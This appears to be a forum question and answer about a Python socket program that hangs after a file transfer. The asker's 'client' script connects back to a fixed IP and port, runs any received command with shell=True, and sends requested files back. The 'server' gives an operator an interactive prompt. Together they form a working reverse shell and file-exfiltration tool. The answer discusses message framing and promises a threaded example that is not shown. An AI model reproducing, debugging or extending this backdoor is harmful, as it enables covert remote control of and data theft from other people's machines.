I'm trying to do file transferring via sockets between two machines. I don't have any problems with transferring but I want to be able to resume inputting another command in my server after the transfer process and print that download successful after finished. This is my Server code:
import shlex
import socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(("10.87.13.44", 9999))
server.listen()
print("[+] Waiting for incoming connections")
server, addr = server.accept()
print("[+] Got a connection from " + str(addr))
def system_commands_results():
com_result = server.recv(1024).decode()
data_size = int(com_result)
com_result = b""
while len(com_result) < data_size:
data = server.recv(4096)
if not data:
break
com_result += data
print(com_result.decode())
def receive_and_write_file(file_path):
with open(file_path, "wb") as file:
received_file_result = server.recv(1024)
received_size = int(received_file_result.decode())
received_file_result = b""
while len(received_file_result) < received_size:
received_data = server.recv(4096)
if not received_data:
break
file.write(received_data)
return "[+] Download successful"
while True:
try:
while True:
command = input(">> ")
command = shlex.split(command)
if command[0] == "download":
path = command[1]
server.send("download".encode())
server.send(path.encode())
status = receive_and_write_file(path)
print(status)
result = server.recv(1024).decode()
print(result)
elif command[0] == "exit":
server.send("exit".encode())
exit()
elif command[0] == "cd" and len(command) > 1:
server.send("cd ".encode())
change_to = command[1]
server.send(change_to.encode())
result = server.recv(1024).decode()
print(result)
else:
server.send(command[0].encode())
system_commands_results()
except Exception as e:
print(f"[-] Error: {e}")
Client code:
import os
import subprocess
import socket
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(("10.87.13.44", 9999))
def execute_system_command(command):
com_result = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT, text=True)
result_size = str(len(com_result)).encode('utf-8')
client.send(result_size)
chunk_size = 4096
for i in range(0, len(com_result), chunk_size):
client.send(com_result[i:i + chunk_size].encode('utf-8'))
def read_and_send_file(file_path):
with open(file_path, "rb") as file:
file_content = file.read()
file_size = str(len(file_content)).encode()
client.send(file_size)
chunk = 4096
for j in range(0, len(file_content), chunk):
client.send(file_content[j:j + chunk])
return "Finished"
def change_working_directory(dir_path):
os.chdir(dir_path)
return f"[+] Changing working directory to {os.getcwd()}"
while True:
try:
received_command = client.recv(1024).decode()
if received_command == "download":
path = client.recv(1024).decode()
result = read_and_send_file(path)
client.send(result.encode())
elif received_command == "exit":
exit()
elif received_command == "cd ":
change_to = client.recv(1024).decode()
result = change_working_directory(change_to)
client.send(result.encode())
else:
execute_system_command(received_command)
except Exception as e:
client.send(str(e).encode())
Right now after the transfer is completed my program just waits and I can't continue to input commands
It's, unfortunately, not 100% straightforward as discussed in the other answer's comments; you can't trust
.recv()to always return as many bytes as you desire, so you'll need some sort of framing. For instance, HTTP, being a text-based protocol, has framing based on a double\r\n\r\nsequence to determine that this is the end of the client's headers, and what follows is a body (whose length is specified in theContent-lengthheader.However, this isn't HTTP, so we'll come up with a small TLV (type-length-value) scheme (2 bytes for message type, 4 bytes of message length); you can imagine other message types than just
1(ping from client to server) and2(pong from server to client), such as3for "file name" and4for "file contents",5for "please run this command" and6for "here's that command's results" or what-have-you.This example is self-contained in that it has two threads, a client thread, and server thread, and they talk to each other over a socket.